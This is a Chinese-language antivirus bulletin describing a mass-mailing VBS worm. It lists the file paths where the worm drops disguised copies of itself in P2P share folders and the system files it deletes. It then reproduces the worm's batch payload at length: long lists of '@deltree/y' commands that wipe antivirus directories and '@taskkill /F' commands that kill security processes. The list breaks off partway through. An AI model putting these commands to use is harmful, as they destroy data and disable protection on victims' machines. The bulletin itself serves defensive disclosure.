新四季網

光華反病毒資訊: 6月20日-6月26日!

2025-01-24 05:21:08

    光華反病毒研究中心近日進行病毒特徵碼更新,請用戶儘快到光華網站下載升級包,以下是幾個重要病毒的簡介:

    1、郵件病毒:危害級別:★★★★☆

    根據光華反病毒研究中心專家介紹,該病毒長度為127,413位元組,感染Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP系統。它是一個郵件病毒,通過搜尋Windows地址簿發送郵件傳播,同時通過區域網文件共享感染,這個病毒刪除文件、目錄、註冊表項,試圖關閉計算機;當收到、打開此郵件病毒時,有以下危害:

    A複製自身到
    • C:\\WINDOWS\\Sytem32\\WINLOGON.vbs
    • C:\\windows\\system\\porno.vbs
    • C:\\Virc\\Sexy Girls.mpg.vbs
    • C:\\windows\\system\\system.vbs
    • C:\\windows\\system\\system32.dll
    • C:\\windows\\system\\sys32.dll
    • C:\\Program Files\\KMD\\My Shared Folder\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\KMD\\My Shared Folder\\Sexy girls.jpg.vbs
    • C:\\Program Files\\KMD\\My Shared Folder\\girls.mpg.vbs
    • C:\\Program Files\\KMD\\My Shared Folder\\pussy.Gif.vbs
    • C:\\Program Files\\KMD\\My Shared Folder\\Ass.Mpg.vbs
    • C:\\Program Files\\KaZaA Lite\\My Shared Folder\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\KaZaA Lite\\My Shared Folder\\Sexy girls.jpg.vbs
    • C:\\Program Files\\KaZaA Lite\\My Shared Folder\\girls.mpg.vbs
    • C:\\Program Files\\KaZaA Lite\\My Shared Folder\\pussy.Gif.vbs
    • C:\\Program Files\\KaZaA Lite\\My Shared Folder\\Ass.Mpg.vbs
    • C:\\Program Files\\Morpheus\\My Shared Folder\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\Morpheus\\My Shared Folder\\Sexy girls.jpg.vbs
    • C:\\Program Files\\Morpheus\\My Shared Folder\\girls.mpg.vbs
    • C:\\Program Files\\Morpheus\\My Shared Folder\\pussy.Gif.vbs
    • C:\\Program Files\\Morpheus\\My Shared Folder\\Ass.Mpg.vbs
    • C:\\Program Files\\BearShare\\Shared\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\BearShare\\Shared\\Sexy girls.jpg.vbs
    • C:\\Program Files\\BearShare\\Shared\\girls.mpg.vbs
    • C:\\Program Files\\BearShare\\Shared\\pussy.Gif.vbs
    • C:\\Program Files\\BearShare\\Shared\\Ass.Mpg.vbs
    • C:\\Program Files\\Edonkey2000\\Incoming\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\Edonkey2000\\Incoming\\Sexy girls.jpg.vbs
    • C:\\Program Files\\Edonkey2000\\Incoming\\girls.mpg.vbs
    • C:\\Program Files\\Edonkey2000\\Incoming\\pussy.Gif.vbs
    • C:\\Program Files\\Edonkey2000\\Incoming\\Ass.Mpg.vbs
    • C:\\My Downloads\\Porno-Pic.Jpg.vbs
    • C:\\My Downloads\\Sexy girls.jpg.vbs
    • C:\\My Downloads\\girls.mpg.vbs
    • C:\\My Downloads\\pussy.Gif.vbs
    • C:\\My Downloads\\Ass.Mpg.vbs
    • C:\\My Shared Folder\\Porno-Pic.Jpg.vbs
    • C:\\My Shared Folder\\Sexy girls.jpg.vb
    • C:\\My Shared Folder\\girls.mpg.vbs
    • C:\\My Shared Folder\\pussy.Gif.vbs
    • C:\\My Shared Folder\\Ass.Mpg.vbs
    • C:\\Program Files\\appleJuice\\incoming\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\appleJuice\\incoming\\Sexy girls.jpg.vb
    • C:\\Program Files\\appleJuice\\incoming\\girls.mpg.vbs
    • C:\\Program Files\\appleJuice\\incoming\\pussy.Gif.vbs
    • C:\\Program Files\\appleJuice\\incoming\\Ass.Mpg.vbs
    • C:\\Program Files\\Gnucleus\\Downloads\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\Gnucleus\\Downloads\\Sexy girls.jpg.vb
    • C:\\Program Files\\Gnucleus\\Downloads\\girls.mpg.vbs
    • C:\\Program Files\\Gnucleus\\Downloads\\pussy.Gif.vbs
    • C:\\Program Files\\Gnucleus\\Downloads\\Ass.Mpg.vbs
    • C:\\Program Files\\Grokster\\My Grokster\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\Grokster\\My Grokster\\Sexy girls.jpg.vb
    • C:\\Program Files\\Grokster\\My Grokster\\girls.mpg.vbs
    • C:\\Program Files\\Grokster\\My Grokster\\pussy.Gif.vbs
    • C:\\Program Files\\Grokster\\My Grokster\\Ass.Mpg.vbs
    • C:\\Program Files\\ICQ\\shared files\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\ICQ\\shared files\\Sexy girls.jpg.vb
    • C:\\Program Files\\ICQ\\shared files\\girls.mpg.vbs
    • C:\\Program Files\\ICQ\\shared files\\pussy.Gif.vbs
    • C:\\Program Files\\ICQ\\shared files\\Ass.Mpg.vbs
    • C:\\Program Files\\KaZaA\\My Shared Folder\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\KaZaA\\My Shared Folder\\Sexy girls.jpg.vb
    • C:\\Program Files\\KaZaA\\My Shared Folder\\girls.mpg.vbs
    • C:\\Program Files\\KaZaA\\My Shared Folder\\pussy.Gif.vbs
    • C:\\Program Files\\KaZaA\\My Shared Folder\\Ass.Mpg.vbs
    • C:\\Program Files\\LimeWire\\Shared\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\LimeWire\\Shared\\Sexy girls.jpg.vb
    • C:\\Program Files\\LimeWire\\Shared\\girls.mpg.vbs
    • C:\\Program Files\\LimeWire\\Shared\\pussy.Gif.vbs
    • C:\\Program Files\\LimeWire\\Shared\\Ass.Mpg.vbs
    • C:\\Program Files\\Overnet\\incoming\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\Overnet\\incoming\\Sexy girls.jpg.vb
    • C:\\Program Files\\Overnet\\incoming\\girls.mpg.vbs
    • C:\\Program Files\\Overnet\\incoming\\pussy.Gif.vbs
    • C:\\Program Files\\Overnet\\incoming\\Ass.Mpg.vbs
    • C:\\Program Files\\Shareaza\\Downloads\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\Shareaza\\Downloads\\Sexy girls.jpg.vb
    • C:\\Program Files\\Shareaza\\Downloads\\girls.mpg.vbs
    • C:\\Program Files\\Shareaza\\Downloads\\pussy.Gif.vbs
    • C:\\Program Files\\Shareaza\\Downloads\\Ass.Mpg.vbs
    • C:\\Program Files\\Swaptor\\Download\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\Swaptor\\Download\\Sexy girls.jpg.vb
    • C:\\Program Files\\Swaptor\\Download\\girls.mpg.vbs
    • C:\\Program Files\\Swaptor\\Download\\pussy.Gif.vbs
    • C:\\Program Files\\Swaptor\\Download\\Ass.Mpg.vbs
    • C:\\Program Files\\WinMX\\My Shared Folder\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\WinMX\\My Shared Folder\\Sexy girls.jpg.vb
    • C:\\Program Files\\WinMX\\My Shared Folder\\girls.mpg.vbs
    • C:\\Program Files\\WinMX\\My Shared Folder\\pussy.Gif.vbs
    • C:\\Program Files\\WinMX\\My Shared Folder\\Ass.Mpg.vbs
    • C:\\Program Files\\Tesla\\Files\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\Tesla\\Files\\Sexy girls.jpg.vb
    • C:\\Program Files\\Tesla\\Files\\girls.mpg.vbs
    • C:\\Program Files\\Tesla\\Files\\pussy.Gif.vbs
    • C:\\Program Files\\Tesla\\Files\\Ass.Mpg.vbs
    • C:\\Program Files\\XoloX\\Downloads\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\XoloX\\Downloads\\Sexy girls.jpg.vb
    • C:\\Program Files\\XoloX\\Downloads\\girls.mpg.vbs
    • C:\\Program Files\\XoloX\\Downloads\\pussy.Gif.vbs
    • C:\\Program Files\\XoloX\\Downloads\\Ass.Mpg.vbs
    • C:\\Program Files\\Rapigator\\Share\\Porno-Pic.Jpg.vbs
    • C:\\Program Files\\Rapigator\\Share\\Sexy girls.jpg.vb
    • C:\\Program Files\\Rapigator\\Share\\girls.mpg.vbs
    • C:\\Program Files\\Rapigator\\Share\\pussy.Gif.vbs
    • C:\\Program Files\\Rapigator\\Share\\Ass.Mpg.vbs
    B 刪除以下文件,降低計算機安全功能
    • C:\\Windows\\System32\\taskmgr.exe
    • C:\\Windows\\System32\\wuauclt1.exe
    • C:\\Windows\\System32\\wuauclt.exe
    • C:\\Windows\\System32\\wupdmgr.exe
    • C:\\Windows\\Regedit.exe
    • C:\\Program Files\\Lavasoft\\Ad-Aware SE Professional\\defs.ref
    • C:\\Program Files\\Lavasoft\\Ad-Aware SE Professional\\sites.txt
    • C:\\WINDOWS\\system32\\dumprep.exe
    • C:\\WINDOWS\\inf\\machine.inf
    C 刪除以下目錄,破壞系統恢復和備份
    • C:\\WINDOWS\\repair
    • C:\\WINDOWS\\system32\\ReinstallBackups
    D 覆蓋C:\\autoexec.bat文件,試圖刪除各種殺毒軟體和安全工具
    @deltree/y c:\\antiba~1\\*.* >nul
    @deltree/y c:\\antiba~2\\*.* >nul
    @deltree/y c:\\antiba~1.1\\*.* >nul
    @deltree/y c:\\antiba~1.2\\*.* >nul
    @deltree/y c:\\antiba~1.3\\*.* >nul
    @deltree/y c:\\antiba~1.4\\*.* >nul
    @deltree/y c:\\antiba~1.5\\*.* >nul
    @deltree/y c:\\antiba~1.6\\*.* >nul
    @deltree/y c:\\antiba~1.7\\*.* >nul
    @deltree/y c:\\antiba~1.8\\*.* >nul
    @deltree/y c:\\antivi~1\\*.* >nul
    @deltree/y c:\\antivi~2\\*.* >nul
    @deltree/y c:\\antiviru\\*.* >nul
    @deltree/y c:\\avg\\*.* >nul
    @deltree/y c:\\avp\\*.* >nul
    @deltree/y c:\\avp30\\*.* >nul
    @deltree/y c:\\avx\\*.* >nul
    @deltree/y c:\\avpers~1\\*.* >nul
    @deltree/y c:\\bitdef~1\\*.* >nul
    @deltree/y c:\\bitdef~2\\*.* >nul
    @deltree/y c:\\comman~1\\*.* >nul
    @deltree/y c:\\cleancih\\*.* >nul
    @deltree/y c:\\esafen\\*.* >nul
    @deltree/y c:\\findvi~1\\*.* >nul
    @deltree/y c:\\f-macro\\*.* >nul
    @deltree/y c:\\f-prot\\*.* >nul
    @deltree/y c:\\f-prot95\\*.* >nul
    @deltree/y c:\\f-secu~1\\*.* >nul
    @deltree/y c:\\fwin\\*.* >nul
    @deltree/y c:\\fwin32\\*.* >nul
    @deltree/y c:\\inocul~1\\*.* >nul
    @deltree/y c:\\inocul~2\\*.* >nul
    @deltree/y c:\\kasper~1\\*.* >nul
    @deltree/y c:\\kasper~2\\*.* >nul
    @deltree/y c:\\mcafee\\*.* >nul
    @deltree/y c:\\mcafee~1\\*.* >nul
    @deltree/y c:\\msav\\*.* >nul
    @deltree/y c:\\norman\\*.* >nul
    @deltree/y c:\\norton~1\\*.* >nul
    @deltree/y c:\\norton~2\\*.* >nul
    @deltree/y c:\\pav\\*.* >nul
    @deltree/y c:\\pccill~1\\*.* >nul
    @deltree/y c:\\pc-cil~1\\*.* >nul
    @deltree/y c:\\rav\\*.* >nul
    @deltree/y c:\\softwin\\*.* >nul
    @deltree/y c:\\tbav\\*.* >nul
    @deltree/y c:\\tbavw95\\*.* >nul
    @deltree/y c:\\toolkit\\*.* >nul
    @deltree/y c:\\trendm~1\\*.* >nul
    @deltree/y c:\\trex\\*.* >nul
    @deltree/y c:\\virus\\*.* >nul
    @deltree/y c:\\vpc\\*.* >nul
    @deltree/y c:\\vs95\\*.* >nul
    @deltree/y c:\\zonela~1\\*.* >nul
    @deltree/y c:\\zonela~2\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~1\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~2\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~1.1\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~1.2\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~1.3\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~1.4\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~1.5\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~1.6\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~1.7\\*.* >nul
    @deltree/y c:\\progra~1\\antiba~1.8\\*.* >nul
    @deltree/y c:\\progra~1\\antivi~1\\*.* >nul
    @deltree/y c:\\progra~1\\antivi~2\\*.* >nul
    @deltree/y c:\\progra~1\\avg\\*.* >nul
    @deltree/y c:\\progra~1\\avp\\*.* >nul
    @deltree/y c:\\progra~1\\avx\\*.* >nul
    @deltree/y c:\\progra~1\\avx2000\\*.* >nul
    @deltree/y c:\\progra~1\\avpers~1\\*.* >nul
    @deltree/y c:\\progra~1\\bitdef~1\\*.* >nul
    @deltree/y c:\\progra~1\\bitdef~2\\*.* >nul
    @deltree/y c:\\progra~1\\comman~1\\*.* >nul
    @deltree/y c:\\progra~1\\common~1\\avpsha~1*.* >nul
    @deltree/y c:\\progra~1\\common~1\\symant~1\\*.* >nul
    @deltree/y c:\\progra~1\\datafe~1\\*.* >nul
    @deltree/y c:\\progra~1\\deerfi~1.com\\*.* >nul
    @deltree/y c:\\progra~1\\f-prot\\*.* >nul
    @deltree/y c:\\progra~1\\f-prot95\\*.* >nul
    @deltree/y c:\\progra~1\\findvi~1\\*.* >nul
    @deltree/y c:\\progra~1\\f-secu~1\\*.* >nul
    @deltree/y c:\\progra~1\\f-secure\\*.* >nul
    @deltree/y c:\\progra~1\\fsi\\*.* >nul
    @deltree/y c:\\progra~1\\fwin\\*.* >nul
    @deltree/y c:\\progra~1\\fwin32\\*.* >nul
    @deltree/y c:\\progra~1\\grisoft\\*.* >nul
    @deltree/y c:\\progra~1\\inocul~1\\*.* >nul
    @deltree/y c:\\progra~1\\inocul~2\\*.* >nul
    @deltree/y c:\\progra~1\\intern~2\\*.* >nul
    @deltree/y c:\\progra~1\\kasper~1\\*.* >nul
    @deltree/y c:\\progra~1\\kasper~2\\*.* >nul
    @deltree/y c:\\progra~1\\mcafee\\*.* >nul
    @deltree/y c:\\progra~1\\mcafee~1\\*.* >nul
    @deltree/y c:\\progra~1\\mindso~1\\*.* >nul
    @deltree/y c:\\progra~1\\norman\\*.* >nul
    @deltree/y c:\\progra~1\\norton~1\\*.* >nul
    @deltree/y c:\\progra~1\\norton~2\\*.* >nul
    @deltree/y c:\\progra~1\\pandas~1\\*.* >nul
    @deltree/y c:\\progra~1\\protec~1\\*.* >nul
    @deltree/y c:\\progra~1\\protec~2\\*.* >nul
    @deltree/y c:\\progra~1\\quickh~1\\*.* >nul
    @deltree/y c:\\progra~1\\rav\\*.* >nul
    @deltree/y c:\\progra~1\\signal9\\*.* >nul
    @deltree/y c:\\progra~1\\softwin\\*.* >nul
    @deltree/y c:\\progra~1\\spysto~1\\*.* >nul
   @deltree/y c:\\progra~1\\symant~1\\*.* >nul
    @deltree/y c:\\progra~1\\tbav\\*.* >nul
    @deltree/y c:\\progra~1\\tinype~1\\*.* >nul
    @deltree/y c:\\progra~1\\trendm~1\\*.* >nul
    @deltree/y c:\\progra~1\\trendp~1\\*.* >nul
    @deltree/y c:\\progra~1\\trojan~1\\*.* >nul
    @deltree/y c:\\progra~1\\trojan~2\\*.* >nul
    @deltree/y c:\\progra~1\\virusm~1.0\\*.* >nul
    @deltree/y c:\\progra~1\\zonela~1\\*.* >nul
    @deltree/y c:\\progra~1\\zonela~2\\*.* >nul
    E 覆蓋C:\\WINDOWS\\System32\\Taskmgr.bat文件,來結束各種殺毒軟體和安全工具
    @taskkill /IM ACKWIN32.exe /F
    @taskkill /IM ADAWARE.exe /F
    @taskkill /IM ADVXDWIN.exe /F
    @taskkill /IM AGENTSVR.exe /F
    @taskkill /IM AGENTW.exe /F
    @taskkill /IM ALERTSVC.exe /F
    @taskkill /IM ALEVIR.exe /F
    @taskkill /IM ALOGSERV.exe /F
    @taskkill /IM AMON9X.exe /F
    @taskkill /IM ANTI-TROJAN.exe /F
    @taskkill /IM ANTIVIRUS.exe /F
    @taskkill /IM ANTS.exe /F
    @taskkill /IM APIMONITOR.exe /F
    @taskkill /IM APLICA32.exe /F
    @taskkill /IM APVXDWIN.exe /F
    @taskkill /IM ARR.exe /F
    @taskkill /IM ATCON.exe /F
    @taskkill /IM ATGUARD.exe /F
    @taskkill /IM ATRO55EN.exe /F
    @taskkill /IM ATUPDATER.exe /F
    @taskkill /IM ATUPDATER.exe /F
    @taskkill /IM ATWATCH.exe /F
    @taskkill /IM AU.exe /F
    @taskkill /IM AUPDATE.exe /F
    @taskkill /IM AUPDATE.exe /F
    @taskkill /IM AUTODOWN.exe /F
    @taskkill /IM AUTODOWN.exe /F
    @taskkill /IM AUTOTRACE.exe /F
    @taskkill /IM AUTOTRACE.exe /F
    @taskkill /IM AUTOUPDATE.exe /F
    @taskkill /IM AUTOUPDATE.exe /F
    @taskkill /IM AVCONSOL.exe /F
    @taskkill /IM AVE32.exe /F
    @taskkill /IM AVGCC32.exe /F
    @taskkill /IM AVGCTRL.exe /F
    @taskkill /IM AVGNT.exe /F
    @taskkill /IM AVGSERV.exe /F
    @taskkill /IM AVGSERV9.exe /F
    @taskkill /IM AVGUARD.exe /F
    @taskkill /IM AVGW.exe /F
    @taskkill /IM AVKPOP.exe /F
    @taskkill /IM AVKSERV.exe /F
    @taskkill /IM AVKSERVICE.exe /F
    @taskkill /IM AVKWCTl9.exe /F
    @taskkill /IM AVLTMAIN.exe /F
    @taskkill /IM AVNT.exe /F
    @taskkill /IM AVP.exe /F
    @taskkill /IM AVP32.exe /F
    @taskkill /IM AVPCC.exe /F
    @taskkill /IM AVPDOS32.exe /F
    @taskkill /IM AVPM.exe /F
    @taskkill /IM AVPTC32.exe /F
    @taskkill /IM AVPUPD.exe /F
    @taskkill /IM AVPUPD.exe /F
    @taskkill /IM AVSCHED32.exe /F
    @taskkill /IM AVSYNMGR.exe /F
    @taskkill /IM AVWINNT.exe /F
    @taskkill /IM AVWUPD.exe /F
    @taskkill /IM AVWUPD32.exe /F
    @taskkill /IM AVWUPD32.exe /F
    @taskkill /IM AVWUPSRV.exe /F
    @taskkill /IM AVXMONITOR9X.exe /F
    @taskkill /IM AVXMONITORNT.exe /F
    @taskkill /IM AVXQUAR.exe /F
    @taskkill /IM AVXQUAR.exe /F
    @taskkill /IM BACKWEB.exe /F
    @taskkill /IM BARGAINS.exe /F
    @taskkill /IM BD_PROFESSIONAL.exe /F
    @taskkill /IM BEAGLE.exe /F
    @taskkill /IM BELT.exe /F
    @taskkill /IM BIDEF.exe /F
    @taskkill /IM BIDSERVER.exe /F
    @taskkill /IM BIPCP.exe /F
    @taskkill /IM BIPCPEVALSETUP.exe /F
    @taskkill /IM BISP.exe /F
    @taskkill /IM BLACKD.exe /F
    @taskkill /IM BLACKICE.exe /F
    @taskkill /IM BLSS.exe /F
    @taskkill /IM BOOTCONF.exe /F
    @taskkill /IM BOOTWARN.exe /F
    @taskkill /IM BORG2.exe /F
    @taskkill /IM BPC.exe /F
    @taskkill /IM BRASIL.exe /F
    @taskkill /IM BS120.exe /F
    @taskkill /IM BUNDLE.exe /F
    @taskkill /IM BVT.exe /F
    @taskkill /IM CCAPP.exe /F
    @taskkill /IM CCEVTMGR.exe /F
    @taskkill /IM CCPXYSVC.exe /F
    @taskkill /IM CDP.exe /F
    @taskkill /IM CFD.exe /F
    @taskkill /IM CFGWIZ.exe /F
    @taskkill /IM CFIADMIN.exe /F
    @taskkill /IM CFIAUDIT.exe /F
    @taskkill /IM CFIAUDIT.exe /F
    @taskkill /IM CFINET.exe /F
    @taskkill /IM CFINET32.exe /F
    @taskkill /IM CLEAN.exe /F
    @taskkill /IM CLEANER.exe /F
    @taskkill /IM CLEANER3.exe /F
    @taskkill /IM CLEANPC.exe /F
    @taskkill /IM CLICK.exe /F
    @taskkill /IM CMD32.exe /F
    @taskkill /IM CMESYS.exe /F
    @taskkill /IM CMGRDIAN.exe /F
    @taskkill /IM CMON016.exe /F
    @taskkill /IM CONNECTIONMONITOR.exe /F
    @taskkill /IM CPD.exe /F
    @taskkill /IM CPF9X206.exe /F
    @taskkill /IM CPFNT206.exe /F
    @taskkill /IM CTRL.exe /F
    @taskkill /IM CV.exe /F
    @taskkill /IM CWNB181.exe /F
    @taskkill /IM CWNTDWMO.exe /F
    @taskkill /IM CLAW95CF.exe /F
    @taskkill /IM DATEMANAGER.exe /F
    @taskkill /IM DCOMX.exe /F
    @taskkill /IM DEFALERT.exe /F
    @taskkill /IM DEFSCANGUI.exe /F
    @taskkill /IM DEFWATCH.exe /F
    @taskkill /IM DEPUTY.exe /F
    @taskkill /IM DIVX.exe /F
    @taskkill /IM DLLCACHE.exe /F
    @taskkill /IM DLLREG.exe /F
    @taskkill /IM DOORS.exe /F
    @taskkill /IM DPF.exe /F
    @taskkill /IM DPFSETUP.exe /F
    @taskkill /IM DPPS2.exe /F
    @taskkill /IM DRWATSON.exe /F
    @taskkill /IM DRWEB32.exe /F
    @taskkill /IM DRWEBUPW.exe /F
    @taskkill /IM DSSAGENT.exe /F
    @taskkill /IM DVP95.exe /F
    @taskkill /IM DVP95_0.exe /F
    @taskkill /IM ECENGINE.exe /F
    @taskkill /IM EFPEADM.exe /F
    @taskkill /IM EMSW.exe /F
    @taskkill /IM ENT.exe /F
    @taskkill /IM ESAFE.exe /F
    @taskkill /IM ESCANHNT.exe /F
    @taskkill /IM ESCANV95.exe /F
    @taskkill /IM ESPWATCH.exe /F
    @taskkill /IM ETHEREAL.exe /F
    @taskkill /IM ETRUSTCIPE.exe /F
    @taskkill /IM EVPN.exe /F
    @taskkill /IM EXANTIVIRUS-CNET.exe /F
    @taskkill /IM EXE.AVXW.exe /F
    @taskkill /IM EXPERT.exe /F
    @taskkill /IM EXPLORE.exe /F
    @taskkill /IM F-PROT.exe /F
    @taskkill /IM F-PROT95.exe /F
    @taskkill /IM F-STOPW.exe /F
    @taskkill /IM FAMEH32.exe /F
    @taskkill /IM FAST.exe /F
    @taskkill /IM FCH32.exe /F
    @taskkill /IM FIH32.exe /F
    @taskkill /IM FINDVIRU.exe /F
    @taskkill /IM FIREWALL.exe /F
    @taskkill /IM FNRB32.exe /F
    @taskkill /IM FP-WIN.exe /F
    @taskkill /IM FP-WIN_TRIAL.exe /F
    @taskkill /IM FPROT.exe /F
    @taskkill /IM FRW.exe /F
     @taskkill /IM FSAA.exe /F
    @taskkill /IM FSAV.exe /F
    @taskkill /IM FSAV32.exe /F
    @taskkill /IM FSAV530STBYB.exe /F
    @taskkill /IM FSAV530WTBYB.exe /F
    @taskkill /IM FSAV95.exe /F
    @taskkill /IM FSGK32.exe /F
    @taskkill /IM FSM32.exe /F
    @taskkill /IM FSMA32.exe /F
    @taskkill /IM FSMB32.exe /F
    @taskkill /IM GATOR.exe /F
    @taskkill /IM GBMENU.exe /F
    @taskkill /IM GBPOLL.exe /F
    @taskkill /IM GENERICS.exe /F
    @taskkill /IM GMT.exe /F
    @taskkill /IM GUARD.exe /F
    @taskkill /IM GUARDDOG.exe /F
    @taskkill /IM HACKTRACERSETUP.exe /F
    @taskkill /IM HBINST.exe /F
    @taskkill /IM HBSRV.exe /F
    @taskkill /IM HOTACTIO.exe /F
    @taskkill /IM HOTPATCH.exe /F
    @taskkill /IM HTLOG.exe /F
    @taskkill /IM HTPATCH.exe /F
    @taskkill /IM HWPE.exe /F
    @taskkill /IM HXDL.exe /F
    @taskkill /IM HXIUL.exe /F
    @taskkill /IM IAMAPP.exe /F
    @taskkill /IM IAMSERV.exe /F
    @taskkill /IM IAMSTATS.exe /F
    @taskkill /IM IBMASN.exe /F
    @taskkill /IM IBMAVSP.exe /F
    @taskkill /IM ICLOADNT.exe /F
    @taskkill /IM ICMON.exe /F
    @taskkill /IM ICSUPP95.exe /F
    @taskkill /IM ICSUPPNT.exe /F
    @taskkill /IM IDLE.exe /F
    @taskkill /IM IEDLL.exe /F
    @taskkill /IM IEDRIVER.exe /F
    @taskkill /IM IEXPLORER.exe /F
    @taskkill /IM IFACE.exe /F
    @taskkill /IM IFW2000.exe /F
    @taskkill /IM INETLNFO.exe /F
    @taskkill /IM INFUS.exe /F
    @taskkill /IM INFWIN.exe /F
    @taskkill /IM INIT.exe /F
    @taskkill /IM INTDEL.exe /F
    @taskkill /IM INTREN.exe /F
    @taskkill /IM IOMON98.exe /F
    @taskkill /IM ISTSVC.exe /F
    @taskkill /IM JAMMER.exe /F
    @taskkill /IM JDBGMRG.exe /F
    @taskkill /IM JEDI.exe /F
    @taskkill /IM KAVLITE40ENG.exe /F
    @taskkill /IM KAVPERS40ENG.exe /F
    @taskkill /IM KAVPF.exe /F
    @taskkill /IM KAZZA.exe /F
    @taskkill /IM KEENVALUE.exe /F
    @taskkill /IM KERIO-PF-213-EN-WIN.exe /F
    @taskkill /IM KERIO-WRL-421-EN-WIN.exe /F
    @taskkill /IM KERIO-WRP-421-EN-WIN.exe /F
    @taskkill /IM KERNEL32.exe /F
    @taskkill /IM KILLPROCESSSETUP161.exe /F
    @taskkill /IM LAUNCHER.exe /F
    @taskkill /IM LDNETMON.exe /F
    @taskkill /IM LDPRO.exe /F
    @taskkill /IM LDPROMENU.exe /F
    @taskkill /IM LDSCAN.exe /F
    @taskkill /IM LNETINFO.exe /F
    @taskkill /IM LOADER.exe /F
    @taskkill /IM LOCALNET.exe /F
    @taskkill /IM LOCKDOWN.exe /F
    @taskkill /IM LOCKDOWN2000.exe /F
    @taskkill /IM LOOKOUT.exe /F
    @taskkill /IM LORDPE.exe /F
    @taskkill /IM LSETUP.exe /F
    @taskkill /IM LUALL.exe /F
    @taskkill /IM LUALL.exe /F
    @taskkill /IM LUAU.exe /F
    @taskkill /IM LUCOMSERVER.exe /F
    @taskkill /IM LUINIT.exe /F
    @taskkill /IM LUSPT.exe /F
    @taskkill /IM MAPISVC32.exe /F
    @taskkill /IM MCAGENT.exe /F
    @taskkill /IM MCMNHDLR.exe /F
    @taskkill /IM MCSHIELD.exe /F
    @taskkill /IM MCTOOL.exe /F
    @taskkill /IM MCUPDATE.exe /F
    @taskkill /IM MCUPDATE.exe /F
    @taskkill /IM MCVSRTE.exe /F
    @taskkill /IM MCVSSHLD.exe /F
    @taskkill /IM MD.exe /F
    @taskkill /IM MFIN32.exe /F
    @taskkill /IM MFW2EN.exe /F
    @taskkill /IM MFWENG3.02D30.exe /F
    @taskkill /IM MGAVRTCL.exe /F
    @taskkill /IM MGAVRTE.exe /F
    @taskkill /IM MGHTML.exe /F
    @taskkill /IM MGUI.exe /F
    @taskkill /IM MINILOG.exe /F
    @taskkill /IM MMOD.exe /F
    @taskkill /IM MONITOR.exe /F
    @taskkill /IM MOOLIVE.exe /F
    @taskkill /IM MOSTAT.exe /F
    @taskkill /IM MPFAGENT.exe /F
    @taskkill /IM MPFSERVICE.exe /F
    @taskkill /IM MPFTRAY.exe /F
    @taskkill /IM MRFLUX.exe /F
    @taskkill /IM MSAPP.exe /F
    @taskkill /IM MSBB.exe /F
    @taskkill /IM MSBLAST.exe /F
    @taskkill /IM MSCACHE.exe /F
    @taskkill /IM MSCCN32.exe /F
    @taskkill /IM MSCMAN.exe /F
    @taskkill /IM MSCONFIG.exe /F
    @taskkill /IM MSDM.exe /F
    @taskkill /IM MSDOS.exe /F
    @taskkill /IM MSIEXEC16.exe /F
    @taskkill /IM MSINFO32.exe /F
    @taskkill /IM MSLAUGH.exe /F
    @taskkill /IM MSMGT.exe /F
    @taskkill /IM MSMSGRI32.exe /F
    @taskkill /IM MSSMMC32.exe /F
    @taskkill /IM MSSYS.exe /F
    @taskkill /IM MSVXD.exe /F
    @taskkill /IM MU0311AD.exe /F
    @taskkill /IM MWATCH.exe /F
    @taskkill /IM N32SCANW.exe /F
    @taskkill /IM NAV.exe /F
    @taskkill /IM AUTO-PROTECT.NAV80TRY.exe /F
    @taskkill /IM NAVAP.NAVAPSVC.exe /F
    @taskkill /IM NAVAPSVC.exe /F
    @taskkill /IM NAVAPW32.exe /F
    @taskkill /IM NAVDX.exe /F
    @taskkill /IM NAVLU32.exe /F
    @taskkill /IM NAVNT.exe /F
    @taskkill /IM NAVSTUB.exe /F
    @taskkill /IM NAVW32.exe /F
    @taskkill /IM NAVWNT.exe /F
    @taskkill /IM NC2000.exe /F
    @taskkill /IM NCINST4.exe /F
    @taskkill /IM NDD32.exe /F
    @taskkill /IM NEOMONITOR.exe /F
    @taskkill /IM NEOWATCHLOG.exe /F
    @taskkill /IM NETARMOR.exe /F
    @taskkill /IM NETD32.exe /F
    @taskkill /IM NETINFO.exe /F
    @taskkill /IM NETMON.exe /F
    @taskkill /IM NETSCANPRO.exe /F
    @taskkill /IM NETSPYHUNTER-1.2.exe /F
    @taskkill /IM NETSTAT.exe /F
    @taskkill /IM NETUTILS.exe /F
    @taskkill /IM NISSERV.exe /F
    @taskkill /IM NISUM.exe /F
    @taskkill /IM NMAIN.exe /F
    @taskkill /IM NOD32.exe /F
    @taskkill /IM NORMIST.exe /F
    @taskkill /IM NORTON_INTERNET_SECU_3.0_407.exe /F
    @taskkill /IM NOTSTART.exe /F
    @taskkill /IM NPF40_TW_98_NT_ME_2K.exe /F
    @taskkill /IM NPFMESSENGER.exe /F
    @taskkill /IM NPROTECT.exe /F
    @taskkill /IM NPSCHECK.exe /F
    @taskkill /IM NPSSVC.exe /F
    @taskkill /IM NSCHED32.exe /F
    @taskkill /IM NSSYS32.exe /F
    @taskkill /IM NSTASK32.exe /F
    @taskkill /IM NSUPDATE.exe /F
    @taskkill /IM NT.exe /F
    @taskkill /IM NTRTSCAN.exe /F
    @taskkill /IM NTVDM.exe /F
